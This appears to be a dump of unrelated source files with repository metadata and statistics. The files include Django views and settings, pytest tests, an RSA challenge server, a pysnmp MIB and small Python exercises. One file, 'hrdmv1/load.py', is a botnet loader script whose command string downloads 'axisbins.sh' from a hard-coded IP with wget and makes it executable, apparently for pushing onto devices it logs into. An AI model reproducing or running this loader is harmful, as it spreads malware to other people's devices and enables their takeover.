2020-01-12T01:15:57.000Z
qiwi_kassa/views.py
adilkhash/django-qiwi-kassa
2a4c45c361210a6ce4fa3435a065ab0bd43ef202
[ "MIT" ]
null
null
null
qiwi_kassa/views.py
adilkhash/django-qiwi-kassa
2a4c45c361210a6ce4fa3435a065ab0bd43ef202
[ "MIT" ]
1
2020-09-08T10:38:38.000Z
2020-09-08T10:38:38.000Z
import json import logging from django.conf import settings from django.views.generic import View from django.views.decorators.csrf import csrf_exempt from django.utils.decorators import method_decorator from django.http import HttpResponseBadRequest, JsonResponse from qiwi_payments.models import Invoice as QiwiInvoic...
37.608696
88
0.688439
196
1,730
5.928571
0.464286
0.043029
0.033563
0.041308
0
0
0
0
0
0
0
0.002985
0.225434
1,730
45
89
38.444444
0.864179
0.098844
0
0
0
0
0.084045
0.017728
0
0
0
0
0
1
0.060606
false
0
0.333333
0.030303
0.515152
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
0c99247777d0a3f13b3ea3edc414ecdc597527d1
781
py
Python
tests/test_uvicore.py
coboyoshi/uvicore
9cfdeeac83000b156fe48f068b4658edaf51c8de
[ "MIT" ]
11
2021-03-22T22:07:49.000Z
2022-03-08T16:18:33.000Z
tests/test_uvicore.py
coboyoshi/uvicore
9cfdeeac83000b156fe48f068b4658edaf51c8de
[ "MIT" ]
12
2021-03-04T05:51:24.000Z
2021-09-22T05:16:18.000Z
tests/test_uvicore.py
coboyoshi/uvicore
9cfdeeac83000b156fe48f068b4658edaf51c8de
[ "MIT" ]
2
2021-03-25T14:49:56.000Z
2021-11-17T23:20:29.000Z
import pytest import uvicore from uvicore.support.dumper import dump from starlette.testclient import TestClient @pytest.mark.asyncio async def xtest_app1(app1): #print(app.providers) #dump(uvicore.app.providers) #dump(uvicore.db.connections) from app1.models.post import Post from uvicore.auth...
17.75
53
0.672215
100
781
5.15
0.48
0.064078
0.069903
0.08932
0
0
0
0
0
0
0
0.014377
0.198464
781
43
54
18.162791
0.808307
0.478873
0
0
0
0
0
0
0
0
0
0
0.090909
1
0
false
0
0.545455
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
0ca55bbbbc593d6b3a266f90ef2bd869b8b85980
89
py
Python
closure_examples/closurein.py
emmettgb/Random_Code
15f327406a4f43c4e68d637c68d227cb0d1d3cd8
[ "MIT" ]
2
2021-10-08T23:05:20.000Z
2021-12-20T00:37:24.000Z
closure_examples/closurein.py
emmettgb/Random_Code
15f327406a4f43c4e68d637c68d227cb0d1d3cd8
[ "MIT" ]
null
null
null
closure_examples/closurein.py
emmettgb/Random_Code
15f327406a4f43c4e68d637c68d227cb0d1d3cd8
[ "MIT" ]
null
null
null
def example2(n): h = lambda : print(n) return(h) ourfunc = example2(5) ourfunc()
14.833333
25
0.617978
13
89
4.230769
0.692308
0
0
0
0
0
0
0
0
0
0
0.043478
0.224719
89
5
26
17.8
0.753623
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0
0
0.2
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0ca8849e721f5e5fe63c9662ef49926f3a8853f7
1,546
py
Python
set6/rsa_armor_server.py
adbforlife/cryptopals
18bbc39e73f6a76725e792ec74b29cbcc8868409
[ "MIT" ]
null
null
null
set6/rsa_armor_server.py
adbforlife/cryptopals
18bbc39e73f6a76725e792ec74b29cbcc8868409
[ "MIT" ]
null
null
null
set6/rsa_armor_server.py
adbforlife/cryptopals
18bbc39e73f6a76725e792ec74b29cbcc8868409
[ "MIT" ]
null
null
null
import socketserver p = 16039569229106620464524040800514429884124257515719815158247901984500687314230772373740952557793458300386707034523591862955887078885248615279630352356782248342739234012971726335390927874256196523321658767535081694857260019127316912317430419938467439526443514390709889089398059121111652224038200847...
38.65
313
0.767141
141
1,546
8.312057
0.496454
0.011945
0.020478
0.022184
0
0
0
0
0
0
0
0.489718
0.150712
1,546
39
314
39.641026
0.402894
0.090556
0
0
0
0
0.03923
0
0
0
0
0
0
1
0.103448
false
0
0.034483
0
0.241379
0.034483
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0cac579685d707e5c08e41385510ed4f863bd05d
4,616
py
Python
tests/morphocut_test.py
madelinetharp/morphocut-server
a82ad5916adbd168816f7b26432b4a98d978c299
[ "MIT" ]
null
null
null
tests/morphocut_test.py
madelinetharp/morphocut-server
a82ad5916adbd168816f7b26432b4a98d978c299
[ "MIT" ]
1
2019-08-14T20:07:53.000Z
2019-08-14T20:07:53.000Z
tests/morphocut_test.py
madelinetharp/morphocut-server
a82ad5916adbd168816f7b26432b4a98d978c299
[ "MIT" ]
2
2019-11-28T13:10:28.000Z
2021-11-19T20:37:19.000Z
from morphocut_server import api from morphocut_server import morphocut from morphocut_server.extensions import database, migrate from morphocut_server import models from morphocut.pipeline import * import os import tempfile import pytest import click from flask import (Flask, Response, abort, redirect, render_templat...
27.313609
103
0.675693
547
4,616
5.521024
0.308958
0.013907
0.025166
0.024834
0.124172
0.060596
0.060596
0.060596
0.060596
0.04702
0
0.001619
0.197357
4,616
168
104
27.47619
0.813495
0.616551
0
0.111111
0
0
0.019561
0
0
0
0
0
0.155556
1
0.088889
false
0
0.422222
0
0.511111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
0cb79f0b76e202c8e79291061f2bbe08a85f7aa8
2,569
py
Python
tests/lop/test_basics.py
carnot-shailesh/cr-sparse
989ebead8a8ac37ade643093e1caa31ae2a3eda1
[ "Apache-2.0" ]
42
2021-06-11T17:11:29.000Z
2022-03-29T11:51:44.000Z
tests/lop/test_basics.py
carnot-shailesh/cr-sparse
989ebead8a8ac37ade643093e1caa31ae2a3eda1
[ "Apache-2.0" ]
19
2021-06-04T11:36:11.000Z
2022-01-22T20:13:39.000Z
tests/lop/test_basics.py
carnot-shailesh/cr-sparse
989ebead8a8ac37ade643093e1caa31ae2a3eda1
[ "Apache-2.0" ]
5
2021-11-21T21:01:11.000Z
2022-02-28T07:20:03.000Z
from .lop_setup import * def test_diag(): n = 4 x = jnp.arange(n)+1. T = lop.diagonal(x) X = lop.to_matrix(T) assert_allclose(X, jnp.diag(x)) y = T.times(x) assert_allclose(y, x**2) assert lop.dot_test_real(keys[0], T) def test_zero(): m, n = 4, 5 Z = lop.zero(n, m) x = ...
25.949495
49
0.585831
464
2,569
3.107759
0.127155
0.223301
0.083218
0.110957
0.676144
0.571429
0.444522
0.32871
0.314841
0.314841
0
0.0245
0.221487
2,569
98
50
26.214286
0.6965
0
0
0.280488
0
0
0
0
0
0
0
0
0.414634
1
0.085366
false
0
0.012195
0
0.097561
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
0cc57be939cacc9e98dc3136d3ccf6ef1562d646
1,912
py
Python
codeit/oop/transports.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
codeit/oop/transports.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
codeit/oop/transports.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
from vehicle import Vehicle class Bicycle(Vehicle): max_speed = 15 def __init__(self, speed): self._speed = speed @property def speed(self): return self._speed @speed.setter def speed(self, new_value): self._speed = new_value if 0 <= new_value <= Bicycle.max_speed el...
20.126316
77
0.598849
267
1,912
4.041199
0.2397
0.150139
0.07785
0.063021
0.653383
0.63392
0.535681
0.516219
0.440222
0.36608
0
0.014914
0.29864
1,912
95
78
20.126316
0.789709
0.048117
0
0.534483
0
0
0.088803
0
0
0
0
0
0
1
0.258621
false
0
0.017241
0.103448
0.448276
0.12069
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
0cd091dba63ffa18c742e69fc06cac4c23111928
516
py
Python
app/members/api/serializers.py
sudahang/cats-who-code
5d885bbbd805ed825fd2be5949df81d232e1b876
[ "Apache-2.0" ]
3
2017-10-30T20:35:31.000Z
2021-03-25T12:03:19.000Z
app/members/api/serializers.py
sudahang/cats-who-code
5d885bbbd805ed825fd2be5949df81d232e1b876
[ "Apache-2.0" ]
5
2017-10-30T21:01:46.000Z
2018-07-27T21:56:13.000Z
app/members/api/serializers.py
sudahang/cats-who-code
5d885bbbd805ed825fd2be5949df81d232e1b876
[ "Apache-2.0" ]
4
2017-10-30T20:35:48.000Z
2018-05-16T23:53:05.000Z
from rest_framework import serializers from members.models import Member class MemberSerializer(serializers.ModelSerializer): class Meta: model = Member fields = ('id', 'username', 'name') # def create(self, validated_data): # user = User( # email=validated_da...
25.8
59
0.573643
47
516
6.170213
0.595745
0.17931
0
0
0
0
0
0
0
0
0
0
0.321705
516
19
60
27.157895
0.828571
0.428295
0
0
0
0
0.048951
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
0cd0fd5d9670784e718a0aa3e5679da2e9ed08f3
658
py
Python
local/streamlit_s/Untitled.py
zxypic/PublicPic
8bec621e38955fb061220bf56c2961122651ff9d
[ "MIT" ]
null
null
null
local/streamlit_s/Untitled.py
zxypic/PublicPic
8bec621e38955fb061220bf56c2961122651ff9d
[ "MIT" ]
null
null
null
local/streamlit_s/Untitled.py
zxypic/PublicPic
8bec621e38955fb061220bf56c2961122651ff9d
[ "MIT" ]
null
null
null
''' @Author: 咸的 @Date: 2020-03-09 14:35:31 @LastEditTime: 2020-03-10 14:08:05 @Description: In User Settings Edit ''' txt = '''120 132 261 294 416 429 541 555 680 692 784 799 926 939 1082 1096 1212 1224 1333 1344 1452 1466 1586 1598 1728 1743 1891 1905 2038 2050 2183 2196 2354 2367 2502 2515 2675 2687 2807 2818 2926 2...
14
69
0.691489
132
658
3.416667
0.727273
0.062084
0.039911
0.039911
0.062084
0
0
0
0
0
0
0.493578
0.171733
658
47
69
14
0.333945
0.209726
0
0
0
0
0.587891
0
0
0
0
0
0
1
0
false
0
0
0
0
0.027778
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0cd3d8acb459af6300fa7c7bef3beef0cc7d8bc2
888
py
Python
collector/env.py
tumido/aiops-data-collector
1fa2d86dd5ab80e79742a985c17a9007a030e734
[ "Apache-2.0" ]
1
2018-12-22T14:13:44.000Z
2018-12-22T14:13:44.000Z
collector/env.py
tumido/aiops-data-collector
1fa2d86dd5ab80e79742a985c17a9007a030e734
[ "Apache-2.0" ]
31
2018-11-01T00:33:35.000Z
2019-07-16T20:53:57.000Z
collector/env.py
tumido/aiops-data-collector
1fa2d86dd5ab80e79742a985c17a9007a030e734
[ "Apache-2.0" ]
3
2018-10-20T05:15:34.000Z
2019-02-21T04:05:21.000Z
import os TOPOLOGICAL_INTERNAL_PATH = os.environ.get('TOPOLOGICAL_INTERNAL_PATH') ALL_TENANTS = os.environ.get('ALL_TENANTS', 'true').lower() in ['true', 'y'] TOPOLOGICAL_INVENTORY_HOST = os.environ.get('TOPOLOGICAL_INVENTORY_HOST') TOPOLOGICAL_INVENTORY_PATH = os.environ.get('TOPOLOGICAL_INVENTORY_PATH') HOST_INVENTO...
52.235294
76
0.768018
130
888
4.938462
0.253846
0.196262
0.261682
0.099688
0.350467
0
0
0
0
0
0
0.007229
0.065315
888
16
77
55.5
0.766265
0
0
0
0
0
0.297297
0.086712
0
0
0
0
0
1
0
false
0.066667
0.066667
0
0.066667
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
0cd998512cda86c10f52de242e0447c27bdc9a52
284
py
Python
card/api/urls.py
Ab1gor/cardsite
3da8b998d093fd2b788a28bf8bc0cf09a43023c3
[ "BSD-3-Clause" ]
1
2019-03-12T06:33:21.000Z
2019-03-12T06:33:21.000Z
card/api/urls.py
Ab1gor/cardsite
3da8b998d093fd2b788a28bf8bc0cf09a43023c3
[ "BSD-3-Clause" ]
4
2021-03-18T20:48:41.000Z
2022-01-13T00:49:58.000Z
card/api/urls.py
Ab1gor/cardsite
3da8b998d093fd2b788a28bf8bc0cf09a43023c3
[ "BSD-3-Clause" ]
null
null
null
from django.urls import path, include from . import views from .views import CardSerializerView urlpatterns = [ #path('signup/',views.SignUp.as_view(),name='signup'), #path('login/',views.login1,name='login'), path('card/',CardSerializerView.as_view(), name='apicard'), ]
31.555556
63
0.707746
35
284
5.685714
0.485714
0.060302
0.100503
0
0
0
0
0
0
0
0
0.003984
0.116197
284
9
64
31.555556
0.788845
0.330986
0
0
0
0
0.063492
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
0cdfe826094ce5c7082ac6041f55ebd22ee3b351
2,922
py
Python
python/CoNetwork/authentication/views.py
Sirruthf/stuff
3f44d8f029eb2b87b6d408718c0f9e935c748960
[ "MIT" ]
null
null
null
python/CoNetwork/authentication/views.py
Sirruthf/stuff
3f44d8f029eb2b87b6d408718c0f9e935c748960
[ "MIT" ]
null
null
null
python/CoNetwork/authentication/views.py
Sirruthf/stuff
3f44d8f029eb2b87b6d408718c0f9e935c748960
[ "MIT" ]
null
null
null
from django.shortcuts import render, redirect from django.http import HttpRequest, HttpResponse from django.contrib.auth import authenticate, login, logout, update_session_auth_hash from django.contrib.auth.decorators import login_required from django.contrib.auth.forms import PasswordChangeForm from django.contrib.aut...
40.027397
130
0.692676
352
2,922
5.607955
0.244318
0.066869
0.105876
0.150456
0.337386
0.26849
0.208713
0.200608
0.100304
0.100304
0
0
0.188912
2,922
73
131
40.027397
0.832911
0.007871
0
0.137931
0
0
0.097999
0
0
0
0
0
0
1
0.137931
false
0.137931
0.155172
0.034483
0.517241
0.034483
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
0ce095ccb864b781b8aaf177a95a151e3f453307
480
py
Python
lib/util/config.py
msniveau/discord-statusbot
9f53e8484fcc857b10e7f1a6a0dd5180e6241f59
[ "MIT" ]
3
2019-03-22T22:38:56.000Z
2019-07-28T12:31:25.000Z
lib/util/config.py
msniveau/discord-statusbot
9f53e8484fcc857b10e7f1a6a0dd5180e6241f59
[ "MIT" ]
7
2018-10-22T14:09:58.000Z
2018-12-16T05:06:07.000Z
lib/util/config.py
msniveau/discord-statusbot
9f53e8484fcc857b10e7f1a6a0dd5180e6241f59
[ "MIT" ]
1
2018-11-19T10:13:03.000Z
2018-11-19T10:13:03.000Z
from configparser import ConfigParser class config: __instance = None @staticmethod def getInstance(path = None): if config.__instance == None: config(path) return config.__instance def __init__(self, path): if config.__instance != None: raise Exception...
28.235294
85
0.633333
48
480
6
0.520833
0.291667
0.1875
0.138889
0
0
0
0
0
0
0
0
0.291667
480
17
86
28.235294
0.847059
0
0
0
0
0
0.112266
0
0
0
0
0
0
1
0.142857
false
0
0.071429
0
0.428571
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0cf14bcbc5649c27e4164679bf1b9182a5bdc667
1,086
py
Python
commands/tankliftteleopdefault.py
FRCTeam279/2019DeepSpace
5fc8daac1d82db4dce8c448a519cb67ee070d4b8
[ "MIT" ]
null
null
null
commands/tankliftteleopdefault.py
FRCTeam279/2019DeepSpace
5fc8daac1d82db4dce8c448a519cb67ee070d4b8
[ "MIT" ]
null
null
null
commands/tankliftteleopdefault.py
FRCTeam279/2019DeepSpace
5fc8daac1d82db4dce8c448a519cb67ee070d4b8
[ "MIT" ]
null
null
null
from wpilib.command import Command import robotmap import subsystems import oi class TankLiftTeleopDefault(Command): def __init__(self): super().__init__('TankLiftTeleopDefault') self.requires(subsystems.drivelift) self.setInterruptible(True) self.setRunWhenDisabled...
31.028571
85
0.649171
91
1,086
7.659341
0.494505
0.327116
0.090387
0
0
0
0
0
0
0
0
0
0.26151
1,086
35
86
31.028571
0.869077
0.42081
0
0
0
0
0.034036
0.034036
0
0
0
0
0
1
0.2
false
0
0.266667
0.066667
0.6
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
0cf1d63f9a7dca951014eaaa50bd8b8429a85fa4
3,138
py
Python
hrdmv1/load.py
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
hrdmv1/load.py
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
hrdmv1/load.py
1Dragos12/arhive
46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6
[ "MIT" ]
null
null
null
#!/usr/bin/python # yoo, source edit by WP # downloaded from only4skillers.eu import sys, re, os, socket, time from multiprocessing import Process if len(sys.argv) < 2: sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]") cmd="cd /tmp || cd /run || cd /; wget http://89.42.133.67/axisbins.sh; chmod 777 axisbins....
24.708661
343
0.596558
483
3,138
3.863354
0.273292
0.057878
0.05895
0.051447
0.403001
0.344051
0.344051
0.333869
0.313505
0.266345
0
0.060271
0.222753
3,138
126
344
24.904762
0.704797
0.028362
0
0.594828
0
0.017241
0.193432
0.008867
0
0
0
0
0
0
null
null
0.068966
0.017241
null
null
0.008621
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
0cf232fd6a0a2615d32e143b4dafa9c8b9d39a65
335
py
Python
HackerRank Solutions/Data Structures/Arrays/2D Array.py
UtkarshPathrabe/Competitive-Coding
ba322fbb1b88682d56a9b80bdd92a853f1caa84e
[ "MIT" ]
13
2021-09-02T07:30:02.000Z
2022-03-22T19:32:03.000Z
HackerRank Solutions/Data Structures/Arrays/2D Array.py
UtkarshPathrabe/Competitive-Coding
ba322fbb1b88682d56a9b80bdd92a853f1caa84e
[ "MIT" ]
null
null
null
HackerRank Solutions/Data Structures/Arrays/2D Array.py
UtkarshPathrabe/Competitive-Coding
ba322fbb1b88682d56a9b80bdd92a853f1caa84e
[ "MIT" ]
3
2021-08-24T16:06:22.000Z
2021-09-17T15:39:53.000Z
#!/bin/python import sys arr = [] for arr_i in xrange(6): arr_temp = map(int,raw_input().strip().split(' ')) arr.append(arr_temp) maxSum = -99999 for i in range(1, 5): for j in range(1, 5): maxSum = max(maxSum, arr[i-1][j-1]+arr[i-1][j]+arr[i-1][j+1]+arr[i][j]+arr[i+1][j-1]+arr[i+1][j]+arr[i+1][j+1...
27.916667
119
0.585075
73
335
2.630137
0.356164
0.166667
0.15625
0.1875
0.234375
0.234375
0.234375
0.234375
0.208333
0.208333
0
0.071174
0.161194
335
12
120
27.916667
0.6121
0.035821
0
0
0
0
0.003096
0
0
0
0
0
0
0
null
null
0
0.1
null
null
0.1
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
0cf3d40aafb690be22ac7ab29b30880709900c00
803
py
Python
test/tests/rackhd20/test_rackhd20_api_schemas.py
arunrordell/RackHD
079c21f45cb38f538c502363aa1ff86dbcac3169
[ "Apache-2.0" ]
451
2015-11-09T13:19:25.000Z
2022-03-16T08:00:16.000Z
test/tests/rackhd20/test_rackhd20_api_schemas.py
arunrordell/RackHD
079c21f45cb38f538c502363aa1ff86dbcac3169
[ "Apache-2.0" ]
824
2015-11-10T15:25:50.000Z
2018-04-09T09:59:49.000Z
test/tests/rackhd20/test_rackhd20_api_schemas.py
arunrordell/RackHD
079c21f45cb38f538c502363aa1ff86dbcac3169
[ "Apache-2.0" ]
221
2015-11-10T23:00:46.000Z
2022-03-16T08:00:22.000Z
''' Copyright 2016, EMC, Inc. Author(s): George Paulos ''' import fit_path # NOQA: unused import import os import sys import subprocess import fit_common # Select test group here using @attr from nose.plugins.attrib import attr @attr(all=True, regression=True, smoke=True) class rackhd20_api_schemas(fit_common.unit...
29.740741
148
0.714819
114
803
4.824561
0.535088
0.081818
0.070909
0.08
0.225455
0.225455
0.225455
0.225455
0.225455
0.225455
0
0.032496
0.156912
803
26
149
30.884615
0.779911
0.13325
0
0
0
0
0.209913
0
0
0
0
0
0.133333
1
0.066667
false
0
0.4
0
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
0cfcc7bce0d75906f89fbd881304c46e1c173bc0
869
py
Python
scripts/add_lexicon_data.py
cltl/BL
49c4e732ad126f149215644a0ae7683960dedf00
[ "Apache-2.0" ]
null
null
null
scripts/add_lexicon_data.py
cltl/BL
49c4e732ad126f149215644a0ae7683960dedf00
[ "Apache-2.0" ]
1
2020-01-07T09:24:25.000Z
2020-01-07T09:24:25.000Z
scripts/add_lexicon_data.py
cltl/BL
49c4e732ad126f149215644a0ae7683960dedf00
[ "Apache-2.0" ]
1
2019-10-05T02:07:47.000Z
2019-10-05T02:07:47.000Z
""" Add FrameNet lexicon data to a data release folder python add_lexicon_data.py --path_config_json=<path_config_json> --verbose=<verbose> Usage: add_lexicon_data.py --path_config_json=<path_config_json> --verbose=<verbose> Options: --path_config_json=<path_config_json> e.g., ../config/v0.json --verbose=<...
26.333333
84
0.739931
117
869
5.239316
0.376068
0.130506
0.182708
0.078303
0.303426
0.303426
0.257749
0.257749
0.189233
0.189233
0
0.007843
0.119678
869
32
85
27.15625
0.793464
0.563867
0
0.153846
0
0
0.250674
0.070081
0
0
0
0
0
1
0
false
0
0.307692
0
0.307692
0.307692
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
490467b4188c28156ee58c5dbb7523952e94e4ae
1,338
py
Python
udemy.py
Ahlyab/udemy-course-grabber
05e3bea5fc8c8816b42c9edf242c503fe97d4026
[ "MIT" ]
2
2021-01-19T02:40:33.000Z
2022-01-27T15:34:53.000Z
udemy.py
Ahlyab/udemy-course-grabber
05e3bea5fc8c8816b42c9edf242c503fe97d4026
[ "MIT" ]
null
null
null
udemy.py
Ahlyab/udemy-course-grabber
05e3bea5fc8c8816b42c9edf242c503fe97d4026
[ "MIT" ]
null
null
null
from pack import functions from pack import banner no = int(1) def write_coupons (list_of_coupons_and_title): global no for indx, coupon_and_title in enumerate(list_of_coupons_and_title): title, link = coupon_and_title.split('||') coupons_file.write("\n"+ str(no) + ". " + title + "\...
25.730769
78
0.681614
182
1,338
4.56044
0.252747
0.13494
0.187952
0.231325
0.492771
0.46747
0.359036
0.23494
0.23494
0.101205
0
0.00759
0.212257
1,338
51
79
26.235294
0.779886
0
0
0.131579
0
0
0.028749
0
0
0
0
0
0
1
0.184211
false
0
0.052632
0
0.236842
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4905cafe922be54862a49799916ec7e5df9950cb
4,346
py
Python
Simple_PF/settings.py
Festusali/Simple_PF
5a35ce513db426413c8d508b55cbb4fe84aa64e9
[ "MIT" ]
null
null
null
Simple_PF/settings.py
Festusali/Simple_PF
5a35ce513db426413c8d508b55cbb4fe84aa64e9
[ "MIT" ]
9
2021-04-08T18:46:16.000Z
2022-03-11T23:39:47.000Z
Simple_PF/settings.py
Festusali/Simple_PF
5a35ce513db426413c8d508b55cbb4fe84aa64e9
[ "MIT" ]
null
null
null
""" Django settings for Simple_PF project. Generated by 'django-admin startproject' using Django 2.0.7. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os ...
25.267442
78
0.707777
512
4,346
5.857422
0.361328
0.065022
0.05135
0.058353
0.182728
0.155052
0.08903
0.08903
0.040013
0
0
0.007151
0.163369
4,346
171
79
25.415205
0.817657
0.291072
0
0.043478
1
0
0.471475
0.334754
0
0
0
0
0
1
0
false
0.086957
0.021739
0
0.021739
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
0b24f597c1ebb84576e1570caf96282a521895f8
1,325
py
Python
src/pytraits/core/primitives/trait_object.py
Hc10b/py3traits
713eec35a5a2f4eba6801c1c7660b863eb692bcc
[ "Apache-2.0" ]
25
2015-05-25T20:27:43.000Z
2020-08-30T16:37:59.000Z
src/pytraits/core/primitives/trait_object.py
Hc10b/py3traits
713eec35a5a2f4eba6801c1c7660b863eb692bcc
[ "Apache-2.0" ]
2
2017-11-02T09:02:37.000Z
2020-06-16T20:39:56.000Z
src/pytraits/core/primitives/trait_object.py
Hc10b/py3traits
713eec35a5a2f4eba6801c1c7660b863eb692bcc
[ "Apache-2.0" ]
3
2015-05-25T20:34:13.000Z
2020-06-16T13:51:37.000Z
#!/usr/bin/python -tt # -*- coding: utf-8 -*- ''' Copyright 2014-2015 Teppo Perä Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Un...
27.604167
75
0.673962
169
1,325
5.100592
0.597633
0.069606
0.030162
0.037123
0
0
0
0
0
0
0
0.012897
0.239245
1,325
47
76
28.191489
0.842262
0.451321
0
0.181818
0
0
0.020349
0
0
0
0
0
0
1
0.227273
false
0
0.045455
0.090909
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
0b2a062bb3491e2ee19a8f56283fb38e46ee04de
2,314
py
Python
pysnmp/ARBOR-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/ARBOR-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/ARBOR-SMI.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module ARBOR-SMI (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ARBOR-SMI # Produced by pysmi-0.3.4 at Mon Apr 29 17:08:55 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23...
100.608696
505
0.786085
244
2,314
7.446721
0.491803
0.075949
0.04623
0.006604
0.33792
0.228949
0.228949
0.223445
0.197028
0.197028
0
0.080917
0.076059
2,314
22
506
105.181818
0.768943
0.134831
0
0
0
0
0.294531
0.022077
0
0
0
0
0
1
0
false
0
0.4
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
0b2b6306195cb73b6c5ce9333056bc3460e2a667
219
py
Python
home_work/lesson8/Task2Test.py
JayIvhen/StudyRepoPython2014
96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d
[ "Unlicense" ]
1
2018-10-11T09:48:30.000Z
2018-10-11T09:48:30.000Z
home_work/lesson8/Task2Test.py
JayIvhen/StudyRepoPython2014
96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d
[ "Unlicense" ]
null
null
null
home_work/lesson8/Task2Test.py
JayIvhen/StudyRepoPython2014
96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d
[ "Unlicense" ]
null
null
null
#!usr/bin/python """test script l8 tasks are about importing modules so we will import here """ import SimpleVector A = SimpleVector.Vector(1,2) B = SimpleVector.Vector(3,4) print A print A+B print A*B print 7*A
10.95
36
0.721461
39
219
4.051282
0.666667
0.113924
0.088608
0.151899
0
0
0
0
0
0
0
0.033149
0.173516
219
19
37
11.526316
0.839779
0.068493
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.142857
null
null
0.571429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
